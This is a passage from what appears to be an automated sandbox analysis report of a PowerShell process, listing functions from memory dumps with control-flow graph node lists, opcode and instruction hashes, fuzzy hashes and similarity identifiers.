7b81b88-7b81b8d 541->553 554 7b81b90-7b81b96 541->554 563 7b81a18-7b81a1e 542->563 564 7b81a30-7b81a34 542->564 543->534 544->534 555 7b81884 547->555 548->555 550->549 560 7b81b98-7b81b9a 554->560 561 7b81b9c-7b81ba8 554->561 555->545 566 7b81baa-7b81bc1 560->566 561->566 567 7b81a20 563->567 568 7b81a22-7b81a2e 563->568 574 7b81a3a-7b81a41 564->574 567->564 568->564 576 7b81a48-7b81aa5 574->576 577 7b81a43-7b81a46 574->577 579 7b81aaa-7b81ab1 576->579 577->579
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2187563226.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_7b80000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: _l$_l
                                                            • API String ID: 0-638597642
                                                            • Opcode ID: d346e8cad7ca213d4ec280ca6593c2674c2ce1a0aedf86a8ed8e04892a19bf17
                                                            • Instruction ID: 66b333c830209fba96eaa439eb4919173769aa4cb045154720ea4141f1d5b1f3
                                                            • Opcode Fuzzy Hash: d346e8cad7ca213d4ec280ca6593c2674c2ce1a0aedf86a8ed8e04892a19bf17
                                                            • Instruction Fuzzy Hash: 07B145F1B0121E9FEB54AF6DD4046AABBE2EF86210F14C0FEE5158B251DA31DC46C7A1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0349E5B9 Relevance: 2.6, Strings: 2, Instructions: 127COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 651 349e5b9-349e5ba 652 349e5bc-349e5c0 651->652 653 349e5c4-349e5cb 651->653 654 349e622-349e630 652->654 655 349e5c2 652->655 656 349e5cc-349e602 653->656 657 349e693-349e6b6 654->657 658 349e632 654->658 655->653 655->656 673 349e73a-349e753 657->673 674 349e6bc-349e6d3 657->674 660 349e63c 658->660 661 349e634-349e636 658->661 663 349e640-349e643 660->663 662 349e638-349e63a 661->662 661->663 662->660 666 349e644-349e689 662->666 663->666 666->657 677 349e75e 673->677 678 349e755 673->678 679 349e6db-349e738 674->679 680 349e75f 677->680 678->677 679->673 679->674 680->680
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: pi1k$Jjl
                                                            • API String ID: 0-199802827
                                                            • Opcode ID: e66d884fdad131b491e1cc0008fdf876e3a474b90a5831cdc538fb26da22c2b4
                                                            • Instruction ID: 65d47a7500b69aeea0f451376d6fce0eb21f878f839f9016d2088d451444f9bc
                                                            • Opcode Fuzzy Hash: e66d884fdad131b491e1cc0008fdf876e3a474b90a5831cdc538fb26da22c2b4
                                                            • Instruction Fuzzy Hash: DE41BB34A002059FCB14DFA9D994A9EFFF2FF49304F1481AAD015AB3A5DB30AD46CB95
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0349E610 Relevance: 2.6, Strings: 2, Instructions: 107COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 688 349e610-349e612 689 349e61c-349e630 688->689 690 349e614-349e61a 688->690 692 349e693-349e6b6 689->692 693 349e632 689->693 690->689 704 349e73a-349e753 692->704 705 349e6bc-349e6d3 692->705 694 349e63c 693->694 695 349e634-349e636 693->695 697 349e640-349e643 694->697 696 349e638-349e63a 695->696 695->697 696->694 699 349e644-349e689 696->699 697->699 699->692 708 349e75e 704->708 709 349e755 704->709 710 349e6db-349e738 705->710 711 349e75f 708->711 709->708 710->704 710->705 711->711
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: pi1k$Jjl
                                                            • API String ID: 0-199802827
                                                            • Opcode ID: 18d10468b64af7c80d75ef221dd1711c91595aee4bbead18cc936b09a766ca53
                                                            • Instruction ID: 23528a1a828f4ede7c607805ca44c55d41c8f1494fb30bf3f201f0d329266c4d
                                                            • Opcode Fuzzy Hash: 18d10468b64af7c80d75ef221dd1711c91595aee4bbead18cc936b09a766ca53
                                                            • Instruction Fuzzy Hash: 0541FF30A00205DFDB14DF69D984A9EBFF2FF48304F08806AD015AB3A5DB30AC46CBA5
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0349E640 Relevance: 2.6, Strings: 2, Instructions: 83COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 719 349e640-349e6b6 727 349e73a-349e753 719->727 728 349e6bc-349e6d3 719->728 731 349e75e 727->731 732 349e755 727->732 733 349e6db-349e738 728->733 734 349e75f 731->734 732->731 733->727 733->728 734->734
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: pi1k$Jjl
                                                            • API String ID: 0-199802827
                                                            • Opcode ID: c156964ba0cf71d7688cff76f37cecab8a6c7b427bd59030b7994a45f985d024
                                                            • Instruction ID: 978919b2c8dcda0f0a75e9f070ff0bb5b2127df77c5a17868548c465a45c3f72
                                                            • Opcode Fuzzy Hash: c156964ba0cf71d7688cff76f37cecab8a6c7b427bd59030b7994a45f985d024
                                                            • Instruction Fuzzy Hash: F8318C34A00206DFCB14EF69D994A9EBBF2FF88304F148569D416AB394DB70AD45CBA1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 08CF6820 Relevance: 1.6, APIs: 1, Instructions: 54threadCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 742 8cf6820-8cf6822 743 8cf682c-8cf6863 742->743 744 8cf6824-8cf682b 742->744 746 8cf686b-8cf6897 SetThreadToken 743->746 744->743 747 8cf6899-8cf689f 746->747 748 8cf68a0-8cf68bd 746->748 747->748
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2192369705.0000000008CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08CF0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_8cf0000_powershell.jbxd
                                                            Similarity
                                                            • API ID: ThreadToken
                                                            • String ID:
                                                            • API String ID: 3254676861-0
                                                            • Opcode ID: 86527f372796d343a9b7617797715f4c31ec8f3c73571e1b88896b9cff81cdbc
                                                            • Instruction ID: a17ee6444d2fdcaeba9f3876da6eacbdcecf50e2231e44c4b39392dfea7c38f0
                                                            • Opcode Fuzzy Hash: 86527f372796d343a9b7617797715f4c31ec8f3c73571e1b88896b9cff81cdbc
                                                            • Instruction Fuzzy Hash: 9E1164B19002488FDB50CFAAD584B9EFFF8EB48320F24882ED158A7211D774A940CFA4
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 08CF6828 Relevance: 1.5, APIs: 1, Instructions: 48threadCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 751 8cf6828-8cf6897 SetThreadToken 754 8cf6899-8cf689f 751->754 755 8cf68a0-8cf68bd 751->755 754->755
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2192369705.0000000008CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08CF0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_8cf0000_powershell.jbxd
                                                            Similarity
                                                            • API ID: ThreadToken
                                                            • String ID:
                                                            • API String ID: 3254676861-0
                                                            • Opcode ID: 2c075c301a28699e7de634632fd15ad9ff3284e29c8833ab65474fa8d199b939
                                                            • Instruction ID: 2dea3cb530eefa2cfbc3d68c6d391cb2a36eea9aa5dec95a6e97c7ccbb5133c7
                                                            • Opcode Fuzzy Hash: 2c075c301a28699e7de634632fd15ad9ff3284e29c8833ab65474fa8d199b939
                                                            • Instruction Fuzzy Hash: 881103B59003098FDB10DF9AD984BDEFBF8EB48324F24842AD558A7310D775A944CFA5
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03496FE0 Relevance: 1.4, Strings: 1, Instructions: 114COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 758 3496fe0-3496fff 759 3497105-3497143 758->759 760 3497005-3497008 758->760 788 349700a call 349767c 760->788 789 349700a call 3497697 760->789 762 3497010-3497022 763 349702e-3497043 762->763 764 3497024 762->764 769 3497049-3497059 763->769 770 34970ce-34970e7 763->770 764->763 773 349705b 769->773 774 3497065-3497073 call 349bf10 769->774 776 34970e9 770->776 777 34970f2-34970f3 770->777 773->774 780 3497079-349707d 774->780 776->777 777->759 781 34970bd-34970c8 780->781 782 349707f-349708f 780->782 781->769 781->770 783 34970ab-34970b5 782->783 784 3497091-34970a9 782->784 783->781 784->781 788->762 789->762
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: (bq
                                                            • API String ID: 0-149360118
                                                            • Opcode ID: beeaf47d9ed3f85fac5250a0b29cc281818bc0c1db0d0f8d3e9c14ed61cd595f
                                                            • Instruction ID: 3e9457310322f681e61abe321716e1b0a967c85680b1a792d31e632cc24445a7
                                                            • Opcode Fuzzy Hash: beeaf47d9ed3f85fac5250a0b29cc281818bc0c1db0d0f8d3e9c14ed61cd595f
                                                            • Instruction Fuzzy Hash: 3D414C34B102158FDB18DF69C498AAEBFF1EF89311F19409AE406AB395CB75DC01CB64
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0349AF98 Relevance: 1.3, Strings: 1, Instructions: 81COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 790 349af98-349afa1 call 349a984 794 349afa6-349afaa 790->794 795 349afba-349afe2 794->795 796 349afac-349afb9 794->796 801 349afec-349b055 795->801 802 349afe4-349afeb 795->802 805 349b05e-349b07b 801->805 806 349b057-349b05d 801->806 802->801 806->805
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: (&^q
                                                            • API String ID: 0-2067289071
                                                            • Opcode ID: 2e4f6e1a53583a3f639fb0481d8d19562384327790593d005b16ecad6f4679f3
                                                            • Instruction ID: 090c01d88ac1943fa06a38215efc23d1d29cdf4e4096ae1b1ab1e2be6d7bbb85
                                                            • Opcode Fuzzy Hash: 2e4f6e1a53583a3f639fb0481d8d19562384327790593d005b16ecad6f4679f3
                                                            • Instruction Fuzzy Hash: C821A175A042588FCB14DFAED404A9EFFF5EF89320F14846AD158AB340CB759905CFA9
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 034929F0 Relevance: .2, Instructions: 208COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 1062 34929f0-3492a1e 1063 3492af5-3492b37 1062->1063 1064 3492a24-3492a3a 1062->1064 1069 3492b3d-3492b56 1063->1069 1070 3492c51-3492c61 1063->1070 1065 3492a3c 1064->1065 1066 3492a3f-3492a52 1064->1066 1065->1066 1066->1063 1071 3492a58-3492a65 1066->1071 1075 3492b58 1069->1075 1076 3492b5b-3492b69 1069->1076 1073 3492a6a-3492a7c 1071->1073 1074 3492a67 1071->1074 1073->1063 1080 3492a7e-3492a88 1073->1080 1074->1073 1075->1076 1076->1070 1081 3492b6f-3492b79 1076->1081 1082 3492a8a-3492a8c 1080->1082 1083 3492a96-3492aa6 1080->1083 1084 3492b7b-3492b7d 1081->1084 1085 3492b87-3492b94 1081->1085 1082->1083 1083->1063 1087 3492aa8-3492ab2 1083->1087 1084->1085 1085->1070 1086 3492b9a-3492baa 1085->1086 1088 3492bac 1086->1088 1089 3492baf-3492bbd 1086->1089 1090 3492ac0-3492af4 1087->1090 1091 3492ab4-3492ab6 1087->1091 1088->1089 1089->1070 1094 3492bc3-3492bd3 1089->1094 1091->1090 1096 3492bd8-3492be5 1094->1096 1097 3492bd5 1094->1097 1096->1070 1099 3492be7-3492bf7 1096->1099 1097->1096 1100 3492bf9 1099->1100 1101 3492bfc-3492c08 1099->1101 1100->1101 1101->1070 1103 3492c0a-3492c24 1101->1103 1104 3492c29 1103->1104 1105 3492c26 1103->1105 1106 3492c2e-3492c38 1104->1106 1105->1104 1107 3492c3d-3492c50 1106->1107
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: db07bb20a6d38a5b622d54c94281d46ec979ebdc9bbf4c0e52bc82a342f0b0c6
                                                            • Instruction ID: d8990bfbe5d33b9a40f58e0660a1c84e33a88ef6163b61bff07da9a3adbab15c
                                                            • Opcode Fuzzy Hash: db07bb20a6d38a5b622d54c94281d46ec979ebdc9bbf4c0e52bc82a342f0b0c6
                                                            • Instruction Fuzzy Hash: E7918B70A002499FCB15CF5DC5949AEFBB1FF48310B248A9AD815AB365C736FC51CBA4
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0349BAB0 Relevance: .2, Instructions: 157COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 0292204d2d7375ad9781bfe286e7b4c25624c1b859bdf182c1619bdd57a8c476
                                                            • Instruction ID: 5b268c86a8ada53d4f6239745336fb5bc15ed92275ae5de8065c1b1879ea21e0
                                                            • Opcode Fuzzy Hash: 0292204d2d7375ad9781bfe286e7b4c25624c1b859bdf182c1619bdd57a8c476
                                                            • Instruction Fuzzy Hash: 40613774E002489FDB14CFA9D584A9DFFF1FF88310F18816AE819AB365EB349845CB64
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0349BAC0 Relevance: .2, Instructions: 155COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 8fdfbccdaba406cd7c87e6a7396cf17c659183a2690037f2b7d205246a02bad9
                                                            • Instruction ID: 00d73ef7ee7cf44d5ce1b796c5601285508876591cc706ec03ab359894583e3f
                                                            • Opcode Fuzzy Hash: 8fdfbccdaba406cd7c87e6a7396cf17c659183a2690037f2b7d205246a02bad9
                                                            • Instruction Fuzzy Hash: 33610571E002489FDB14DFA9D584A9DFFF5EF88310F18816AE819AB364EB749841CB64
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03497740 Relevance: .2, Instructions: 154COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: c641e7f93200b5f5d33cedd6894e994890decd839d13a28220f902336b032b2c
                                                            • Instruction ID: a237c1de4f93c2077c7081baf1c220b8863b5ff2ab9e89e48bb12adb04503441
                                                            • Opcode Fuzzy Hash: c641e7f93200b5f5d33cedd6894e994890decd839d13a28220f902336b032b2c
                                                            • Instruction Fuzzy Hash: C351D2347102159FEB14DB69D884A6B7FEAFF88210B1884AAE509DB351DB31DC02C790
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0349E419 Relevance: .1, Instructions: 140COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: e489657efea2487c29773999c6b4adb00f0feba8ff0a069e0e61a59d473105fd
                                                            • Instruction ID: 70df1fbd6dbe5201048138e21460c4e6fc5ccb47696c7bc2dce892c2c2d86915
                                                            • Opcode Fuzzy Hash: e489657efea2487c29773999c6b4adb00f0feba8ff0a069e0e61a59d473105fd
                                                            • Instruction Fuzzy Hash: 84511E347402058FDF10DBACC59496ABFE6EFC8314B1985AAE559CF36AEB34DC418B50
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0349E428 Relevance: .1, Instructions: 130COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 21cf3ce403ecc5b63b3328d4917b5010063bab47028d910bbc1a7c86121b6348
                                                            • Instruction ID: 9882482b57ff576510539677d397b3167a6d3e9a6219ef2a09746ec02fa594fd
                                                            • Opcode Fuzzy Hash: 21cf3ce403ecc5b63b3328d4917b5010063bab47028d910bbc1a7c86121b6348
                                                            • Instruction Fuzzy Hash: 2A412F747002058FDF10DFACC59496ABBE6EFC8314B1585AAE549DF369EB34EC418BA0
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 07B83CE6 Relevance: .1, Instructions: 110COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2187563226.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_7b80000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: d35c54325f5091ac0988942e1a0f99015576bfd8c5d4f52880fc825999c778d3
                                                            • Instruction ID: ade6f424c292249b361182d633f5839d4fb14ff8ceb8a540df1752c1b5d06817
                                                            • Opcode Fuzzy Hash: d35c54325f5091ac0988942e1a0f99015576bfd8c5d4f52880fc825999c778d3
                                                            • Instruction Fuzzy Hash: 743104F1A00202DBEBA0AF28C501B7E77E2EF84B04F1484E6D904AF255D735ED44C7A5
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03492B00 Relevance: .1, Instructions: 109COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 0b71482fc57bf235c5be37bc8bd867a702a3640e29b28e9e3fb25b53f43302ba
                                                            • Instruction ID: ab47edfd71563c333f81dd620d132c4ab290522c91d114f3a3af88c1274ae701
                                                            • Opcode Fuzzy Hash: 0b71482fc57bf235c5be37bc8bd867a702a3640e29b28e9e3fb25b53f43302ba
                                                            • Instruction Fuzzy Hash: 9D4128B0A005099FDB05CF58C5D8EAAFBB1FF48310B15859AD815AB364C776FC51CB94
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 07B83CCD Relevance: .1, Instructions: 104COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2187563226.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_7b80000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 6254c3acef20d030b6a72d07aadeab60ce8a0200ecee720cf63de50ac6833dd8
                                                            • Instruction ID: 37a811fefe8b08dc737fd0211757b276d659becd617cd74912880b4e16992e3d
                                                            • Opcode Fuzzy Hash: 6254c3acef20d030b6a72d07aadeab60ce8a0200ecee720cf63de50ac6833dd8
                                                            • Instruction Fuzzy Hash: 083102F1600202CBFBA56A24C941B7E77E3EF80A05B1844D6D9009F366DB35DD45C7B5
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0349C388 Relevance: .1, Instructions: 101COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 216fe4b45a0278e11c6f83ff69760bbcc82c52e34142ac8c39675de7bf8ba226
                                                            • Instruction ID: cc58a0db6ba7d1285ed320f1354e65adf870b2659150c77c890ecaeaee1121ab
                                                            • Opcode Fuzzy Hash: 216fe4b45a0278e11c6f83ff69760bbcc82c52e34142ac8c39675de7bf8ba226
                                                            • Instruction Fuzzy Hash: EE31B2353002009FD705DB79E884B9ABBA6EFC4221F04823AD54ACB365DF70AC46CBA5
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03496FD1 Relevance: .1, Instructions: 93COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 5f5863d6c4fb91287715bdb109655e7312a103499f77c162ab4b63c6751e9a02
                                                            • Instruction ID: 417ba6936ee88b94cdb8ddf7bbd454918406d3814bc61e67d63b5b453c918f58
                                                            • Opcode Fuzzy Hash: 5f5863d6c4fb91287715bdb109655e7312a103499f77c162ab4b63c6751e9a02
                                                            • Instruction Fuzzy Hash: F0313734A102158FDB14DF69D598AAEBFF1BF8D314F1980AAE406AB355DB71DC01CB24
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0349AE60 Relevance: .1, Instructions: 93COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 829f376f1a590a5b118e098c8077d06cf582b719c55e0d1a399f386f9036ef8d
                                                            • Instruction ID: f2c909b4be12ddae2c950e10e25a3780275046cdf5642013e30164d75c1d60f7
                                                            • Opcode Fuzzy Hash: 829f376f1a590a5b118e098c8077d06cf582b719c55e0d1a399f386f9036ef8d
                                                            • Instruction Fuzzy Hash: 2E314E74E402098FDF04DF79D4946AEBFFAEF89310F14806AE405EB354EA349C428B69
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0349AD28 Relevance: .1, Instructions: 88COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: a2ca2a1c8e7b6821eba4d722f8be2f9a95273672a7187e84438d0848f491a317
                                                            • Instruction ID: 6d90c123a2f5fb1deb178ce23a0cd2aab6a9ccdd665a95fbdb9202f08fce0517
                                                            • Opcode Fuzzy Hash: a2ca2a1c8e7b6821eba4d722f8be2f9a95273672a7187e84438d0848f491a317
                                                            • Instruction Fuzzy Hash: 8C31C378E003099FDB01DB64D854AEFBBB2EF84300F1184AAC205AF395DA38EC418B91
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0349E049 Relevance: .1, Instructions: 86COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: a8dead6b7ae172fac67ed1a52e63da41eea8563b8673089a3f703e024883b47c
                                                            • Instruction ID: 2b046f20aea2665ab8b456f798032a43331cecf8db4fdc630b0282c74add36d7
                                                            • Opcode Fuzzy Hash: a8dead6b7ae172fac67ed1a52e63da41eea8563b8673089a3f703e024883b47c
                                                            • Instruction Fuzzy Hash: 10318D74A002158FDB18DF69D498A9EBBF6FF89324F04416AD406EB390DF70AC85CB94
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0349AE70 Relevance: .1, Instructions: 84COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: b31aff548884a4f4e70aea376032754aed6f7f3157e0de304a9e8bcecf326b26
                                                            • Instruction ID: 404fe4b0f83841f65b6e7a23d57050eaede9338a464032f0f5f86ac037d6c72e
                                                            • Opcode Fuzzy Hash: b31aff548884a4f4e70aea376032754aed6f7f3157e0de304a9e8bcecf326b26
                                                            • Instruction Fuzzy Hash: 17311074E402099FDF04DF69D5947AEBFF6EF89310F14806AE405EB354EA748C428B69
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 034993F0 Relevance: .1, Instructions: 79COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: d4609c33e51bbb25690be0e93f7016a8e7ffc83ab18e03c793bf939621d3e3c7
                                                            • Instruction ID: f26825c6b38d8910b2942394457d0bd3e5bbae39d5f506a429300124b3bc75b7
                                                            • Opcode Fuzzy Hash: d4609c33e51bbb25690be0e93f7016a8e7ffc83ab18e03c793bf939621d3e3c7
                                                            • Instruction Fuzzy Hash: F931AD719093849EEB61CF6AC0883CAFFE6EF89320F28C45FD4599B206D7749081CB65
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0349E058 Relevance: .1, Instructions: 77COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 8badc1b09f58d9413d12b76a1ae5ea892da2886bc576e551765aeb5fd7bda382
